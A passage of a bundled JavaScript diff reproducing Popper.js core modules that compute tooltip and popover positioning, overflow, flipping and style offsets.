dpr) / dpr || 0, + y: round(y * dpr) / dpr || 0 + }; +} +function mapToStyles(_ref2) { + var _Object$assign2; + var popper2 = _ref2.popper, popperRect = _ref2.popperRect, placement = _ref2.placement, variation = _ref2.variation, offsets = _ref2.offsets, position = _ref2.position, gpuAcceleration = _ref2.gpuAcceleration, adaptive = _ref2.adaptive, roundOffsets = _ref2.roundOffsets, isFixed = _ref2.isFixed; + var _offsets$x = offsets.x, x = _offsets$x === void 0 ? 0 : _offsets$x, _offsets$y = offsets.y, y = _offsets$y === void 0 ? 0 : _offsets$y; + var _ref3 = typeof roundOffsets === "function" ? roundOffsets({ + x, + y + }) : { + x, + y + }; + x = _ref3.x; + y = _ref3.y; + var hasX = offsets.hasOwnProperty("x"); + var hasY = offsets.hasOwnProperty("y"); + var sideX = left; + var sideY = top; + var win = window; + if (adaptive) { + var offsetParent = getOffsetParent(popper2); + var heightProp = "clientHeight"; + var widthProp = "clientWidth"; + if (offsetParent === getWindow(popper2)) { + offsetParent = getDocumentElement(popper2); + if (getComputedStyle(offsetParent).position !== "static" && position === "absolute") { + heightProp = "scrollHeight"; + widthProp = "scrollWidth"; + } + } + offsetParent = offsetParent; + if (placement === top || (placement === left || placement === right) && variation === end) { + sideY = bottom; + var offsetY = isFixed && offsetParent === win && win.visualViewport ? win.visualViewport.height : ( + // $FlowFixMe[prop-missing] + offsetParent[heightProp] + ); + y -= offsetY - popperRect.height; + y *= gpuAcceleration ? 1 : -1; + } + if (placement === left || (placement === top || placement === bottom) && variation === end) { + sideX = right; + var offsetX = isFixed && offsetParent === win && win.visualViewport ? win.visualViewport.width : ( + // $FlowFixMe[prop-missing] + offsetParent[widthProp] + ); + x -= offsetX - popperRect.width; + x *= gpuAcceleration ? 1 : -1; + } + } + var commonStyles = Object.assign({ + position + }, adaptive && unsetSides); + var _ref4 = roundOffsets === true ? roundOffsetsByDPR({ + x, + y + }) : { + x, + y + }; + x = _ref4.x; + y = _ref4.y; + if (gpuAcceleration) { + var _Object$assign; + return Object.assign({}, commonStyles, (_Object$assign = {}, _Object$assign[sideY] = hasY ? "0" : "", _Object$assign[sideX] = hasX ? "0" : "", _Object$assign.transform = (win.devicePixelRatio || 1) <= 1 ? "translate(" + x + "px, " + y + "px)" : "translate3d(" + x + "px, " + y + "px, 0)", _Object$assign)); + } + return Object.assign({}, commonStyles, (_Object$assign2 = {}, _Object$assign2[sideY] = hasY ? y + "px" : "", _Object$assign2[sideX] = hasX ? x + "px" : "", _Object$assign2.transform = "", _Object$assign2)); +} +function computeStyles(_ref5) { + var state = _ref5.state, options = _ref5.options; + var _options$gpuAccelerat = options.gpuAcceleration, gpuAcceleration = _options$gpuAccelerat === void 0 ? true : _options$gpuAccelerat, _options$adaptive = options.adaptive, adaptive = _options$adaptive === void 0 ? true : _options$adaptive, _options$roundOffsets = options.roundOffsets, roundOffsets = _options$roundOffsets === void 0 ? true : _options$roundOffsets; + if (true) { + var transitionProperty = getComputedStyle(state.elements.popper).transitionProperty || ""; + if (adaptive && ["transform", "top", "right", "bottom", "left"].some(function(property) { + return transitionProperty.indexOf(property) >= 0; + })) { + console.warn(["Popper: Detected CSS transitions on at least one of the following", 'CSS properties: "transform", "top", "right", "bottom", "left".', "\n\n", 'Disable the "computeStyles" modifier\'s `adaptive` option to allow', "for smooth transitions, or remove these properties from the CSS", "transition declaration on the popper element if only transitioning", "opacity or background-color for example.", "\n\n", "We recommend using the popper element as a wrapper around an inner", "element that can have any CSS property transitioned for animations."].join(" ")); + } + } + var commonStyles = { + placement: getBasePlacement(state.placement), + variation: getVariation(state.placement), + popper: state.elements.popper, + popperRect: state.rects.popper, + gpuAcceleration, + isFixed: state.options.strategy === "fixed" + }; + if (state.modifiersData.popperOffsets != null) { + state.styles.popper = Object.assign({}, state.styles.popper, mapToStyles(Object.assign({}, commonStyles, { + offsets: state.modifiersData.popperOffsets, + position: state.options.strategy, + adaptive, + roundOffsets + }))); + } + if (state.modifiersData.arrow != null) { + state.styles.arrow = Object.assign({}, state.styles.arrow, mapToStyles(Object.assign({}, commonStyles, { + offsets: state.modifiersData.arrow, + position: "absolute", + adaptive: false, + roundOffsets + }))); + } + state.attributes.popper = Object.assign({}, state.attributes.popper, { + "data-popper-placement": state.placement + }); +} +var computeStyles_default = { + name: "computeStyles", + enabled: true, + phase: "beforeWrite", + fn: computeStyles, + data: {} +}; + +// node_modules/@popperjs/core/lib/modifiers/eventListeners.js +var passive = { + passive: true +}; +function effect3(_ref) { + var state = _ref.state, instance2 = _ref.instance, options = _ref.options; + var _options$scroll = options.scroll, scroll = _options$scroll === void 0 ? true : _options$scroll, _options$resize = options.resize, resize = _options$resize === void 0 ? true : _options$resize; + var window2 = getWindow(state.elements.popper); + var scrollParents = [].concat(state.scrollParents.reference, state.scrollParents.popper); + if (scroll) { + scrollParents.forEach(function(scrollParent) { + scrollParent.addEventListener("scroll", instance2.update, passive); + }); + } + if (resize) { + window2.addEventListener("resize", instance2.update, passive); + } + return function() { + if (scroll) { + scrollParents.forEach(function(scrollParent) { + scrollParent.removeEventListener("scroll", instance2.update, passive); + }); + } + if (resize) { + window2.removeEventListener("resize", instance2.update, passive); + } + }; +} +var eventListeners_default = { + name: "eventListeners", + enabled: true, + phase: "write", + fn: function fn() { + }, + effect: effect3, + data: {} +}; + +// node_modules/@popperjs/core/lib/utils/getOppositePlacement.js +var hash = { + left: "right", + right: "left", + bottom: "top", + top: "bottom" +}; +function getOppositePlacement(placement) { + return placement.replace(/left|right|bottom|top/g, function(matched) { + return hash[matched]; + }); +} + +// node_modules/@popperjs/core/lib/utils/getOppositeVariationPlacement.js +var hash2 = { + start: "end", + end: "start" +}; +function getOppositeVariationPlacement(placement) { + return placement.replace(/start|end/g, function(matched) { + return hash2[matched]; + }); +} + +// node_modules/@popperjs/core/lib/dom-utils/getWindowScroll.js +function getWindowScroll(node) { + var win = getWindow(node); + var scrollLeft = win.pageXOffset; + var scrollTop = win.pageYOffset; + return { + scrollLeft, + scrollTop + }; +} + +// node_modules/@popperjs/core/lib/dom-utils/getWindowScrollBarX.js +function getWindowScrollBarX(element) { + return getBoundingClientRect(getDocumentElement(element)).left + getWindowScroll(element).scrollLeft; +} + +// node_modules/@popperjs/core/lib/dom-utils/getViewportRect.js +function getViewportRect(element) { + var win = getWindow(element); + var html = getDocumentElement(element); + var visualViewport = win.visualViewport; + var width = html.clientWidth; + var height = html.clientHeight; + var x = 0; + var y = 0; + if (visualViewport) { + width = visualViewport.width; + height = visualViewport.height; + if (!/^((?!chrome|android).)*safari/i.test(navigator.userAgent)) { + x = visualViewport.offsetLeft; + y = visualViewport.offsetTop; + } + } + return { + width, + height, + x: x + getWindowScrollBarX(element), + y + }; +} + +// node_modules/@popperjs/core/lib/dom-utils/getDocumentRect.js +function getDocumentRect(element) { + var _element$ownerDocumen; + var html = getDocumentElement(element); + var winScroll = getWindowScroll(element); + var body = (_element$ownerDocumen = element.ownerDocument) == null ? void 0 : _element$ownerDocumen.body; + var width = max(html.scrollWidth, html.clientWidth, body ? body.scrollWidth : 0, body ? body.clientWidth : 0); + var height = max(html.scrollHeight, html.clientHeight, body ? body.scrollHeight : 0, body ? body.clientHeight : 0); + var x = -winScroll.scrollLeft + getWindowScrollBarX(element); + var y = -winScroll.scrollTop; + if (getComputedStyle(body || html).direction === "rtl") { + x += max(html.clientWidth, body ? body.clientWidth : 0) - width; + } + return { + width, + height, + x, + y + }; +} + +// node_modules/@popperjs/core/lib/dom-utils/isScrollParent.js +function isScrollParent(element) { + var _getComputedStyle = getComputedStyle(element), overflow = _getComputedStyle.overflow, overflowX = _getComputedStyle.overflowX, overflowY = _getComputedStyle.overflowY; + return /auto|scroll|overlay|hidden/.test(overflow + overflowY + overflowX); +} + +// node_modules/@popperjs/core/lib/dom-utils/getScrollParent.js +function getScrollParent(node) { + if (["html", "body", "#document"].indexOf(getNodeName(node)) >= 0) { + return node.ownerDocument.body; + } + if (isHTMLElement(node) && isScrollParent(node)) { + return node; + } + return getScrollParent(getParentNode(node)); +} + +// node_modules/@popperjs/core/lib/dom-utils/listScrollParents.js +function listScrollParents(element, list) { + var _element$ownerDocumen; + if (list === void 0) { + list = []; + } + var scrollParent = getScrollParent(element); + var isBody = scrollParent === ((_element$ownerDocumen = element.ownerDocument) == null ? void 0 : _element$ownerDocumen.body); + var win = getWindow(scrollParent); + var target = isBody ? [win].concat(win.visualViewport || [], isScrollParent(scrollParent) ? scrollParent : []) : scrollParent; + var updatedList = list.concat(target); + return isBody ? updatedList : ( + // $FlowFixMe[incompatible-call]: isBody tells us target will be an HTMLElement here + updatedList.concat(listScrollParents(getParentNode(target))) + ); +} + +// node_modules/@popperjs/core/lib/utils/rectToClientRect.js +function rectToClientRect(rect) { + return Object.assign({}, rect, { + left: rect.x, + top: rect.y, + right: rect.x + rect.width, + bottom: rect.y + rect.height + }); +} + +// node_modules/@popperjs/core/lib/dom-utils/getClippingRect.js +function getInnerBoundingClientRect(element) { + var rect = getBoundingClientRect(element); + rect.top = rect.top + element.clientTop; + rect.left = rect.left + element.clientLeft; + rect.bottom = rect.top + element.clientHeight; + rect.right = rect.left + element.clientWidth; + rect.width = element.clientWidth; + rect.height = element.clientHeight; + rect.x = rect.left; + rect.y = rect.top; + return rect; +} +function getClientRectFromMixedType(element, clippingParent) { + return clippingParent === viewport ? rectToClientRect(getViewportRect(element)) : isElement(clippingParent) ? getInnerBoundingClientRect(clippingParent) : rectToClientRect(getDocumentRect(getDocumentElement(element))); +} +function getClippingParents(element) { + var clippingParents2 = listScrollParents(getParentNode(element)); + var canEscapeClipping = ["absolute", "fixed"].indexOf(getComputedStyle(element).position) >= 0; + var clipperElement = canEscapeClipping && isHTMLElement(element) ? getOffsetParent(element) : element; + if (!isElement(clipperElement)) { + return []; + } + return clippingParents2.filter(function(clippingParent) { + return isElement(clippingParent) && contains(clippingParent, clipperElement) && getNodeName(clippingParent) !== "body"; + }); +} +function getClippingRect(element, boundary, rootBoundary) { + var mainClippingParents = boundary === "clippingParents" ? getClippingParents(element) : [].concat(boundary); + var clippingParents2 = [].concat(mainClippingParents, [rootBoundary]); + var firstClippingParent = clippingParents2[0]; + var clippingRect = clippingParents2.reduce(function(accRect, clippingParent) { + var rect = getClientRectFromMixedType(element, clippingParent); + accRect.top = max(rect.top, accRect.top); + accRect.right = min(rect.right, accRect.right); + accRect.bottom = min(rect.bottom, accRect.bottom); + accRect.left = max(rect.left, accRect.left); + return accRect; + }, getClientRectFromMixedType(element, firstClippingParent)); + clippingRect.width = clippingRect.right - clippingRect.left; + clippingRect.height = clippingRect.bottom - clippingRect.top; + clippingRect.x = clippingRect.left; + clippingRect.y = clippingRect.top; + return clippingRect; +} + +// node_modules/@popperjs/core/lib/utils/computeOffsets.js +function computeOffsets(_ref) { + var reference2 = _ref.reference, element = _ref.element, placement = _ref.placement; + var basePlacement = placement ? getBasePlacement(placement) : null; + var variation = placement ? getVariation(placement) : null; + var commonX = reference2.x + reference2.width / 2 - element.width / 2; + var commonY = reference2.y + reference2.height / 2 - element.height / 2; + var offsets; + switch (basePlacement) { + case top: + offsets = { + x: commonX, + y: reference2.y - element.height + }; + break; + case bottom: + offsets = { + x: commonX, + y: reference2.y + reference2.height + }; + break; + case right: + offsets = { + x: reference2.x + reference2.width, + y: commonY + }; + break; + case left: + offsets = { + x: reference2.x - element.width, + y: commonY + }; + break; + default: + offsets = { + x: reference2.x, + y: reference2.y + }; + } + var mainAxis = basePlacement ? getMainAxisFromPlacement(basePlacement) : null; + if (mainAxis != null) { + var len = mainAxis === "y" ? "height" : "width"; + switch (variation) { + case start: + offsets[mainAxis] = offsets[mainAxis] - (reference2[len] / 2 - element[len] / 2); + break; + case end: + offsets[mainAxis] = offsets[mainAxis] + (reference2[len] / 2 - element[len] / 2); + break; + default: + } + } + return offsets; +} + +// node_modules/@popperjs/core/lib/utils/detectOverflow.js +function detectOverflow(state, options) { + if (options === void 0) { + options = {}; + } + var _options = options, _options$placement = _options.placement, placement = _options$placement === void 0 ? state.placement : _options$placement, _options$boundary = _options.boundary, boundary = _options$boundary === void 0 ? clippingParents : _options$boundary, _options$rootBoundary = _options.rootBoundary, rootBoundary = _options$rootBoundary === void 0 ? viewport : _options$rootBoundary, _options$elementConte = _options.elementContext, elementContext = _options$elementConte === void 0 ? popper : _options$elementConte, _options$altBoundary = _options.altBoundary, altBoundary = _options$altBoundary === void 0 ? false : _options$altBoundary, _options$padding = _options.padding, padding = _options$padding === void 0 ? 0 : _options$padding; + var paddingObject = mergePaddingObject(typeof padding !== "number" ? padding : expandToHashMap(padding, basePlacements)); + var altContext = elementContext === popper ? reference : popper; + var popperRect = state.rects.popper; + var element = state.elements[altBoundary ? altContext : elementContext]; + var clippingClientRect = getClippingRect(isElement(element) ? element : element.contextElement || getDocumentElement(state.elements.popper), boundary, rootBoundary); + var referenceClientRect = getBoundingClientRect(state.elements.reference); + var popperOffsets2 = computeOffsets({ + reference: referenceClientRect, + element: popperRect, + strategy: "absolute", + placement + }); + var popperClientRect = rectToClientRect(Object.assign({}, popperRect, popperOffsets2)); + var elementClientRect = elementContext === popper ? popperClientRect : referenceClientRect; + var overflowOffsets = { + top: clippingClientRect.top - elementClientRect.top + paddingObject.top, + bottom: elementClientRect.bottom - clippingClientRect.bottom + paddingObject.bottom, + left: clippingClientRect.left - elementClientRect.left + paddingObject.left, + right: elementClientRect.right - clippingClientRect.right + paddingObject.right + }; + var offsetData = state.modifiersData.offset; + if (elementContext === popper && offsetData) { + var offset2 = offsetData[placement]; + Object.keys(overflowOffsets).forEach(function(key) { + var multiply = [right, bottom].indexOf(key) >= 0 ? 1 : -1; + var axis = [top, bottom].indexOf(key) >= 0 ? "y" : "x"; + overflowOffsets[key] += offset2[axis] * multiply; + }); + } + return overflowOffsets; +} + +// node_modules/@popperjs/core/lib/utils/computeAutoPlacement.js +function computeAutoPlacement(state, options) { + if (options === void 0) { + options = {}; + } + var _options = options, placement = _options.placement, boundary = _options.boundary, rootBoundary = _options.rootBoundary, padding = _options.padding, flipVariations = _options.flipVariations, _options$allowedAutoP = _options.allowedAutoPlacements, allowedAutoPlacements = _options$allowedAutoP === void 0 ? placements : _options$allowedAutoP; + var variation = getVariation(placement); + var placements2 = variation ? flipVariations ? variationPlacements : variationPlacements.filter(function(placement2) { + return getVariation(placement2) === variation; + }) : basePlacements; + var allowedPlacements = placements2.filter(function(placement2) { + return allowedAutoPlacements.indexOf(placement2) >= 0; + }); + if (allowedPlacements.length === 0) { + allowedPlacements = placements2; + if (true) { + console.error(["Popper: The `allowedAutoPlacements` option did not allow any", "placements. Ensure the `placement` option matches the variation", "of the allowed placements.", 'For example, "auto" cannot be used to allow "bottom-start".', 'Use "auto-start" instead.'].join(" ")); + } + } + var overflows = allowedPlacements.reduce(function(acc, placement2) { + acc[placement2] = detectOverflow(state, { + placement: placement2, + boundary, + rootBoundary, + padding + })[getBasePlacement(placement2)]; + return acc; + }, {}); + return Object.keys(overflows).sort(function(a, b) { + return overflows[a] - overflows[b]; + }); +} + +// node_modules/@popperjs/core/lib/modifiers/flip.js +function getExpandedFallbackPlacements(placement) { + if (getBasePlacement(placement) === auto) { + return []; + } + var oppositePlacement = getOppositePlacement(placement); + return [getOppositeVariationPlacement(placement), oppositePlacement, getOppositeVariationPlacement(oppositePlacement)]; +} +function flip(_ref) { + var state = _ref.state, options = _ref.options, name = _ref.name; + if (state.modifiersData[name]._skip) { + return; + } + var _options$mainAxis = options.mainAxis, checkMainAxis = _options$mainAxis === void 0 ? true : _options$mainAxis, _options$altAxis = options.altAxis, checkAltAxis = _options$altAxis === void 0 ? true : _options$altAxis, specifiedFallbackPlacements = options.fallbackPlacements, padding = options.padding, boundary = options.boundary, rootBoundary = options.rootBoundary, altBoundary = options.altBoundary, _options$flipVariatio = options.flipVariations, flipVariations = _options$flipVariatio === void 0 ? true : _options$flipVariatio, allowedAutoPlacements = options.allowedAutoPlacements; + var preferredPlacement = state.options.placement; + var basePlacement = getBasePlacement(preferredPlacement); + var isBasePlacement = basePlacement === preferredPlacement; + var fallbackPlacements = specifiedFallbackPlacements || (isBasePlacement || !flipVariations ? [getOppositePlacement(preferredPlacement)] : getExpandedFallbackPlacements(preferredPlacement)); + var placements2 = [preferredPlacement].concat(fallbackPlacements).reduce(function(acc, placement2) { + return acc.concat(getBasePlacement(placement2) === auto ? computeAutoPlacement(state, { + placement: placement2, + boundary, + rootBoundary, + padding, + flipVariations, + allowedAutoPlacements + }) : placement2); + }, []); + var referenceRect = state.rects.reference; + var popperRect = state.rects.popper; + var checksMap = /* @__PURE__ */ new Map(); + var makeFallbackChecks = true; + var firstFittingPlacement = placements2[0]; + for (var i = 0; i < placements2.length; i++) { + var placement = placements2[i]; + var _basePlacement = getBasePlacement(placement); + var isStartVariation = getVariation(placement) === start; + var isVertical = [top, bottom].indexOf(_basePlacement) >= 0; + var len = isVertical ? "width" : "height"; + var overflow = detectOverflow(state, { + placement, + boundary, + rootBoundary, + altBoundary, + padding + }); + var mainVariationSide = isVertical ? isStartVariation ? right : left : isStartVariation ? bottom : top; + if (referenceRect[len] > popperRect[len]) { + mainVariationSide = getOppositePlacement(mainVariationSide); + } + var altVariationSide = getOppositePlacement(mainVariationSide); + var checks = []; + if (checkMainAxis) { + checks.push(overflow[_basePlacement] <= 0); + } + if (checkAltAxis) { + checks.push(overflow[mainVariationSide] <= 0, overflow[altVariationSide] <= 0); + } + if (checks.every(function(check) { + return check; + })) { + firstFittingPlacement = placement; + makeFallbackChecks = false; + break; + } + checksMap.set(placement, checks); + } + if (makeFallbackChecks) { + var numberOfChecks = flipVariations ? 3 : 1; + var _loop = function _loop2(_i2) { + var fittingPlacement = placements2.find(function(placement2) { + var checks2 = checksMap.get(placement2); + if (checks2) { + return checks2.slice(0, _i2).every(function(check) { + return check; + }); + } + }); + if (fittingPlacement) { + firstFittingPlacement = fittingPlacement; + return "break"; + } + }; + for (var _i = numberOfChecks; _i > 0; _i--) { + var _ret = _loop(_i); + if (_ret === "break") + break; + } + } + if (state.placement !== firstFittingPlacement) { + state.modifiersData[name]._skip = true; + state.placement = firstFittingPlacement; + state.reset = true; + } +} +var flip_default = { + name: "flip", + enabled: true, + phase: "main", + fn: flip, + requiresIfExists: ["offset"], + data: { + _skip: false + } +}; + +// node_modules/@popperjs/core/lib/modifiers/hide.js +function getSideOffsets(overflow, rect, preventedOffsets) { + if (preventedOffsets === void 0) { + preventedOffsets = { + x: 0, + y: 0 + }; + } + return { + top: overflow.top - rect.height - preventedOffsets.y, + right: overflow.right - rect.width + preventedOffsets.x, + bottom: overflow.bottom - rect.height + preventedOffsets.y, + left: overflow.left - rect.width - preventedOffsets.x + }; +} +function isAnySideFullyClipped(overflow) { + return [top, right, bottom, left].some(function(side) { + return overflow[side] >= 0; + }); +} +function hide(_ref) { + var state = _ref.state, name = _ref.name; + var referenceRect = state.rects.reference; + var popperRect = state.rects.popper; + var preventedOffsets = state.modifiersData.preventOverflow; + var referenceOverflow = detectOverflow(state, { + elementContext: "reference" + }); + var popperAltOverflow = detectOverflow(state, { + altBoundary: true + }); + var referenceClippingOffsets = getSideOffsets(referenceOverflow, referenceRect); + var popperEscapeOffsets = getSideOffsets(popperAltOverflow, popperRect, preventedOffsets); + var isReferenceHidden = isAnySideFullyClipped(referenceClippingOffsets); + var hasPopperEscaped = isAnySideFullyClipped(popperEscapeOffsets); + state.modifiersData[name] = { + referenceClippingOffsets, + popperEscapeOffsets, + isReferenceHidden, + hasPopperEscaped + }; + state.attributes.popper = Object.assign({}, state.attributes.popper, { + "data-popper-reference-hidden": isReferenceHidden, + "data-popper-escaped": hasPopperEscaped + }); +} +var hide_default = { + name: "hide", + enabled: true, + phase: "main", + requiresIfExists: ["preventOverflow"], + fn: hide +}; + +// node_modules/@popperjs/core/lib/modifiers/offset.js +function distanceAndSkiddingToXY(placement, rects, offset2) { + var basePlacement = getBasePlacement(placement); + var invertDistance = [left, top].indexOf(basePlacement) >= 0 ? -1 : 1; + var _ref = typeof offset2 === "function" ? offset2(Object.assign({}, rects, { + placement + })) : offset2, skidding = _ref[0], distance = _ref[1]; + skidding = skidding || 0; + distance = (distance || 0) * invertDistance; + return [left, right].indexOf(basePlacement) >= 0 ? { + x: distance, + y: skidding + } : { + x: skidding, + y: distance + }; +} +function offset(_ref2) { + var state = _ref2.state, options = _ref2.options, name = _ref2.name; + var _options$offset = options.offset, offset2 = _options$offset === void 0 ? [0, 0] : _options$offset; + var data = placements.reduce(function(acc, placement) { + acc[placement] = distanceAndSkiddingToXY(placement, state.rects, offset2); + return acc; + }, {}); + var _data$state$placement = data[state.placement], x = _data$state$placement.x, y = _data$state$placement.y; + if (state.modifiersData.popperOffsets != null) { + state.modifiersData.popperOffsets.x += x; + state.modifiersData.popperOffsets.y += y; + } + state.modifiersData[name] = data; +} +var offset_default = { + name: "offset", + enabled: true, + phase: "main", + requires: ["popperOffsets"], + fn: offset +}; + +// node_modules/@popperjs/core/lib/modifiers/popperOffsets.js +function popperOffsets(_ref) { + var state = _ref.state, name = _ref.name; + state.modifiersData[name] = computeOffsets({ + reference: state.rects.reference, + element: state.rects.popper, + strategy: "absolute", + placement: state.placement + }); +} +var popperOffsets_default = { + name: "popperOffsets", + enabled: true, + phase: "read", + fn: popperOffsets, + data: {} +}; + +// node_modules/@popperjs/core/lib/utils/getAltAxis.js +function getAltAxis(axis) { + return axis === "x" ? "y" : "x"; +} + +// node_modules/@popperjs/core/lib/modifiers/preventOverflow.js +function preventOverflow(_ref) { + var state = _ref.state, options = _ref.options, name = _ref.name; + var _options$mainAxis = options.mainAxis, checkMainAxis = _options$mainAxis === void 0 ? true : _options$mainAxis, _options$altAxis = options.altAxis, checkAltAxis = _options$altAxis === void 0 ? false : _options$altAxis, boundary = options.boundary, rootBoundary = options.rootBoundary, altBoundary = options.altBoundary, padding = options.padding, _options$tether = options.tether, tether = _options$tether === void 0 ? true : _options$tether, _options$tetherOffset = options.tetherOffset, tetherOffset = _options$tetherOffset === void 0 ? 0 : _options$tetherOffset; + var overflow = detectOverflow(state, { + boundary, + rootBoundary, + padding, + altBoundary + }); + var basePlacement = getBasePlacement(state.placement); + var variation = getVariation(state.placement); + var isBasePlacement = !variation; + var mainAxis = getMainAxisFromPlacement(basePlacement); + var altAxis = getAltAxis(mainAxis); + var popperOffsets2 = state.modifiersData.popperOffsets; + var referenceRect = state.rects.reference; + var popperRect = state.rects.popper; + var tetherOffsetValue = typeof tetherOffset === "function" ? tetherOffset(Object.assign({}, state.rects, { + placement: state.placement + })) : tetherOffset; + var normalizedTetherOffsetValue = typeof tetherOffsetValue === "number" ? { + mainAxis: tetherOffsetValue, + altAxis: tetherOffsetValue + } : Object.assign({ + mainAxis: 0, + altAxis: 0 + }, tetherOffsetValue); + var offsetModifierState = state.modifiersData.offset ? state.modifiersData.offset[state.placement] : null; + var data = { + x: 0, + y: 0 + }; + if (!popperOffsets2) { + return; + } + if (checkMainAxis) { + var _offsetModifierState$; + var mainSide = mainAxis === "y" ? top : left; + var altSide = mainAxis === "y" ? bottom : right; + var len = mainAxis === "y" ? "height" : "width"; + var offset2 = popperOffsets2[mainAxis]; + var min2 = offset2 + overflow[mainSide]; + var max2 = offset2 - overflow[altSide]; + var additive = tether ? -popperRect[len] / 2 : 0; + var minLen = variation === start ? referenceRect[len] : popperRect[len]; + var maxLen = variation === start ? -popperRect[len] : -referenceRect[len]; + var arrowElement = state.elements.arrow; + var arrowRect = tether && arrowElement ? getLayoutRect(arrowElement) : { + width: 0, + height: 0 + }; + var arrowPaddingObject = state.modifiersData["arrow#persistent"] ? state.modifiersData["arrow#persistent"].padding : getFreshSideObject(); + var arrowPaddingMin = arrowPaddingObject[mainSide]; + var arrowPaddingMax = arrowPaddingObject[altSide]; + var arrowLen = within(0, referenceRect[len], arrowRect[len]); + var minOffset = isBasePlacement ? referenceRect[len] / 2 - additive - arrowLen - arrowPaddingMin - normalizedTetherOffsetValue.mainAxis : minLen - arrowLen - arrowPaddingMin - normalizedTetherOffsetValue.mainAxis; + var maxOffset = isBasePlacement ? -referenceRect[len] / 2 + additive + arrowLen + arrowPaddingMax + normalizedTetherOffsetValue.mainAxis : maxLen + arrowLen + arrowPaddingMax + normalizedTetherOffsetValue.mainAxis; + var arrowOffsetParent = state.elements.arrow && getOffsetParent(state.elements.arrow); + var clientOffset = arrowOffsetParent ? mainAxis === "y" ? arrowOffsetParent.clientTop || 0 : arrowOffsetParent.clientLeft || 0 : 0; + var offsetModifierValue = (_offsetModifierState$ = offsetModifierState == null ? void 0 : offsetModifierState[mainAxis]) != null ? _offsetModifierState$ : 0; + var tetherMin = offset2 + minOffset - offsetModifierValue - clientOffset; + var tetherMax = offset2 + maxOffset - offsetModifierValue; + var preventedOffset = within(tether ? min(min2, tetherMin) : min2, offset2, tether ? max(max2, tetherMax) : max2); + popperOffsets2[mainAxis] = preventedOffset; + data[mainAxis] = preventedOffset - offset2; + } + if (checkAltAxis) { + var _offsetModifierState$2; + var _mainSide = mainAxis === "x" ? top : left; + var _altSide = mainAxis === "x" ? bottom : right; + var _offset = popperOffsets2[altAxis]; + var _len = altAxis === "y" ? "height" : "width"; + var _min = _offset + overflow[_mainSide]; + var _max = _offset - overflow[_altSide]; + var isOriginSide = [top, left].indexOf(basePlacement) !== -1; + var _offsetModifierValue = (_offsetModifierState$2 = offsetModifierState == null ? void 0 : offsetModifierState[altAxis]) != null ? _offsetModifierState$2 : 0; + var _tetherMin = isOriginSide ? _min : _offset - referenceRect[_len] - popperRect[_len] - _offsetModifierValue + normalizedTetherOffsetValue.altAxis; + var _tetherMax = isOriginSide ? _offset + referenceRect[_len] + popperRect[_len] - _offsetModifierValue - normalizedTetherOffsetValue.altAxis : _max; + var _preventedOffset = tether && isOriginSide ? withinMaxClamp(_tetherMin, _offset, _tetherMax) : within(tether ? _tetherMin : _min, _offset, tether ? _tetherMax : _max); + popperOffsets2[altAxis] = _preventedOffset; + data[altAxis] = _preventedOffset - _offset; + } + state.modifiersData[name] = data; +} +var preventOverflow_default = { + name: "preventOverflow", + enabled: true, + phase: "main", + fn: preventOverflow, + requiresIfExists: ["offset"] +}; + +// node_modules/@popperjs/core/lib/dom-utils/getHTMLElementScroll.js +function getHTMLElementScroll(element) { + return { + scrollLeft: element.scrollLeft, + scrollTop: element.scrollTop + }; +} + +// node_modules/@popperjs/core/lib/dom-utils/getNodeScroll.js +function getNodeScroll(node) { + if (node === getWindow(node) || !isHTMLElement(node)) { + return getWindowScroll(node); + } else { + return getHTMLElementScroll(node); + } +} + +// node_modules/@popperjs/core/lib/dom-utils/getCompositeRect.js +function isElementScaled(element) { + var rect = element.getBoundingClientRect(); + var scaleX = round(rect.width) / element.offsetWidth || 1; + var scaleY = round(rect.height) / element.offsetHeight || 1; + return scaleX !== 1 || scaleY !== 1; +} +function getCompositeRect(elementOrVirtualElement, offsetParent, isFixed) { + if (isFixed === void 0) { + isFixed = false; + } + var isOffsetParentAnElement = isHTMLElement(offsetParent); + var offsetParentIsScaled = isHTMLElement(offsetParent) && isElementScaled(offsetParent); + var documentElement = getDocumentElement(offsetParent); + var rect = getBoundingClientRect(elementOrVirtualElement, offsetParentIsScaled); + var scroll = { + scrollLeft: 0, + scrollTop: 0 + }; + var offsets = { + x: 0, + y: 0 + }; + if (isOffsetParentAnElement || !isOffsetParentAnElement && !isFixed) { + if (getNodeName(offsetParent) !== "body" || // https://github.com/popperjs/popper-core/issues/1078 + isScrollParent(documentElement)) { + scroll = getNodeScroll(offsetParent); + } + if (isHTMLElement(offsetParent)) { + offsets = getBoundingClientRect(offsetParent, true); + offsets.x += offsetParent.clientLeft; + offsets.y += offsetParent.clientTop; + } else if (documentElement) { + offsets.x = getWindowScrollBarX(documentElement); + } + } + return { + x: rect.left + scroll.scrollLeft - offsets.x, + y: rect.top + scroll.scrollTop - offsets.y, + width: rect.width, + height: rect.height + }; +} + +// node_modules/@popperjs/core/lib/utils/orderModifiers.js +function order(modifiers) { + var map = /* @__PURE__ */ new Map(); + var visited = /* @__PURE__ */ new Set(); + var result = []; + modifiers.forEach(function(modifier) { + map.set(modifier.name, modifier); + }); + function sort(modifier) { + visited.add(modifier.name); + var requires = [].concat(modifier.requires || [], modifier.requiresIfExists || []); + requires.forEach(function(dep) { + if (!visited.has(dep)) { + var depModifier = map.get(dep); + if (depModifier) { + sort(depModifier); + } + } + }); + result.push(modifier); + } + modifiers.forEach(function(modifier) { + if (!visited.has(modifier.name)) { + sort(modifier); + } + }); + return result; +} +function orderModifiers(modifiers) { + var orderedModifiers = order(modifiers); + return modifierPhases.reduce(function(acc, phase) { + return acc.concat(orderedModifiers.filter(function(modifier) { + return modifier.phase === phase; + })); + }, []); +} + +// node_modules/@popperjs/core/lib/utils/debounce.js +function debounce2(fn2) { + var pending; + return function() { + if (!pending) { + pending = new Promise(function(resolve) { + Promise.resolve().then(function() { + pending = void 0; + resolve(fn2()); + }); + }); + } + return pending; + }; +} + +// node_modules/@popperjs/core/lib/utils/format.js +function format(str) { + for (var _len = arguments.length, args = new Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) { + args[_key - 1] = arguments[_key]; + } + return [].concat(args).reduce(function(p, c) { + return p.replace(/%s/, c); + }, str); +} + +// node_modules/@popperjs/core/lib/utils/validateModifiers.js +var INVALID_MODIFIER_ERROR = 'Popper: modifier "%s" provided an invalid %s property, expected %s but got %s'; +var MISSING_DEPENDENCY_ERROR = 'Popper: modifier "%s" requires "%s", but "%s" modifier is not available'; +var VALID_PROPERTIES = ["name", "enabled", "phase", "fn", "effect", "requires", "options"]; +function validateModifiers(modifiers) { + modifiers.forEach(function(modifier) { + [].concat(Object.keys(modifier), 